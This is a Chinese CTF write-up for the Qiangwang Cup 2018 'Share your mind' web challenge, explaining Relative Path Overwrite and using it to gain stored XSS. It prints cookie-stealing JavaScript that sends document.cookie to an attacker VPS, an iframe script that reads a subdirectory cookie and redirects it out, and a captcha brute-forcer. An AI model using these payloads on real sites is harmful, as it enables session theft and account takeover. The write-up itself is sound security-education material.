Share you mind writeup_RPO详解

PRO的全称为“Relative Path Overwrite”,也就是相对路径覆盖。利用浏览器和服务器对资源加载设置的差异,通过某些方法和技巧,在相对路径处,引入我们可控的js/css文件,甚至引入非js/css文件,并按照js/css的语法执行,从而实现攻击。

由题引入

1
题目地址:http://39.107.33.96:20000/login.php

0x01 测试XSS

大致思路:登陆进入后,

  • url提交过去可能会有waf
  • 后台会有bot点击提交过去的url
  • 需要传过去自己VPS的地址得到cookie。

测试waf:

reports输入框中输入:

1
http://39.107.33.96:20000/<script src=http://VPSIP ></script>

在自己的VPS的日志中确实可以看到访问记录,但是再利用直接加script脚本的方法无法获取到document.cookie

所以这道题的关键在于寻找XSS注入点。今天的猪脚就要登场啦……

0x02 寻找XSS注入点_RPO

观察到url的形式

1
http://39.107.33.96:20000/index.php/view/article/2704

说明网站使用了PATHINFO模式,后面的参数依次为:模块/控制器/操作

再看html源码:

1
2
<script src="static/js/jquery.min.js"></script>
<script src="/static/js/bootstrap.min.js"></script>

使用了相对url引用css。

于是猜测是相对路径覆盖攻击,开始测试,先操作再分析吧……

先新建一篇文章,title为空,内容如下:

接着进入新建的文章内容页,url输入

1
http://39.107.33.96:20000/index.php/view/article/2715/..%2f..%2f..%2f..%2findex.php

接下来分析漏洞成因:服务端和客户端对url的解析不一致

经过了一番折腾,大致形成了自己的思路,若有问题还请各位大佬指正……

结合抓包进行分析,提交payload后可以抓到两个包

第一个包

服务器对url解码为:

1
http://39.107.33.96:20000/index.php/view/article/2715/../../../../index.php

于是往上跳三级目录执行index.php,于是服务器返回index.html页面,怀疑 http://39.107.33.96:20000/index.php/view/article/2715/../../../../ 是不是也可以成功弹框,经测试是没有问题的。

第二个包

这个包的产生源于刚才服务器返回的index.html中存在这样的相对路径引用

1
<script src="static/js/jquery.min.js"></script>

而浏览器发送的请求为什么是/index.php/view/article/2715/static/js/jquery.min.js呢?服务器为什么返回的又是/index.php/view/article/2715的内容呢?这就是RPO的漏洞根源所在了,狂敲小黑板!!重点来了!

首先明确一点,我们的static/js/jquery.min.js相对的是index.php的目录 即网站根目录。

接着看着我们的payload分析:

1
http://39.107.33.96:20000/index.php/view/article/2715/..%2f..%2f..%2f..%2findex.php

浏览器:并不会对%2f进行解析,认为..%2f..%2f..%2f..%2findex是一个脚本名字,浏览器在加载相对路径文件时是以最后一个/为相对目录加载具体资源文件的。于是认为此刻的目录是http://39.107.33.96:20000/index.php/view/article/2715/,所以请求相对路径的js资源时发送了http://39.107.33.96:20000/index.php/view/article/2715/static/js/jquery.min.js

服务器:接到上面浏览器的请求,服务器会按照PATHINFO模式来读取这个url,于是模块view/控制器article/操作2715/,后面的static/…会认为是参数了,然后后台并没有进行参数的接收,于是返回的是http://39.107.33.96:20000/index.php/view/article/2715/的内容alert(1),返回只html页面中

1
<script src="static/js/jquery.min.js">alert(1)</script>

于是成功弹窗。

0x03 XSS利用

找到了XSS注入点,接下来的操作就水到渠成了

payload:(new Image()).src = 'http://VPSIP:Port?'+document.cookie

新建文章,content处出入payload,查看新生成的文章

发现后台存在htmlspacialchars操作,可以用fromCharCode进行绕过处理 [js中字符串与Unicode 字符值序列的相互转换]

url输入http://39.107.33.96:20000/index.php/view/article/2757/..%2f..%2f..%2f..%2findex.php

查看服务器日志,咦,返回了自己的cookie,哈哈,傻了吧,肯定是要bot去点击啦,你自己点击当然是自己当前账户的cookie了 23333~~

验证码的生成

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python
import hashlib

m= raw_input("input m:")

def md5(s):
return hashlib.md5(s).hexdigest()

for i in range(1, 9999999):
if md5(str(i)).startswith(m):
print i

提交之后,查看服务器日志

根据提示,利用iframe跨域(这种跨域的方式最主要的是要求主域名相同)去读二级目录下的cookie

1
2
3
4
5
6
7
8
var i=document.createElement("iframe");
i.src="/QWB_fl4g/QWB/";
i.id="a";
document.body.appendChild(i);
i.onload = function (){
var c=document.getElementById('a').contentWindow.document.cookie;
location.href="http://xxxxx?xx="+c;
}

然后转换为Unicode序列值

reports页面提交,查看服务器日志

flag: QWB{flag_is_f43kth4rpo}

总结

利用服务端和客户端对于%2f处理的不同完成了目录的穿越,如果这个时候在传入某个(某几个)paramx的时候会有我们能够完全控制的页面,那么我们就可以通过上述的方式进行目录穿越从而实现加载可控的js。

RPO攻击生效条件

  • 浏览器的渲染模式:怪异模式 (即html文档开头没有DOCTYPE的声明) 。在怪异模式下,浏览器将会忽视其中Content-Type: text/html等声明文档类型的描述,将其中的任何css解析执行;反之如果是位于标准模式的话,浏览器将只会解析Content-Type: text/css,而其余则会报错。
  • 相对路径引用CSS
  • 可控的js (针对上述的CTF题目,即为http://39.107.33.96:20000/index.php/view/article/2715/的页面内容)

参考:

深入剖析RPO漏洞

强网杯2018 Web writeup

坚持原创技术分享,您的支持将鼓励我继续创作!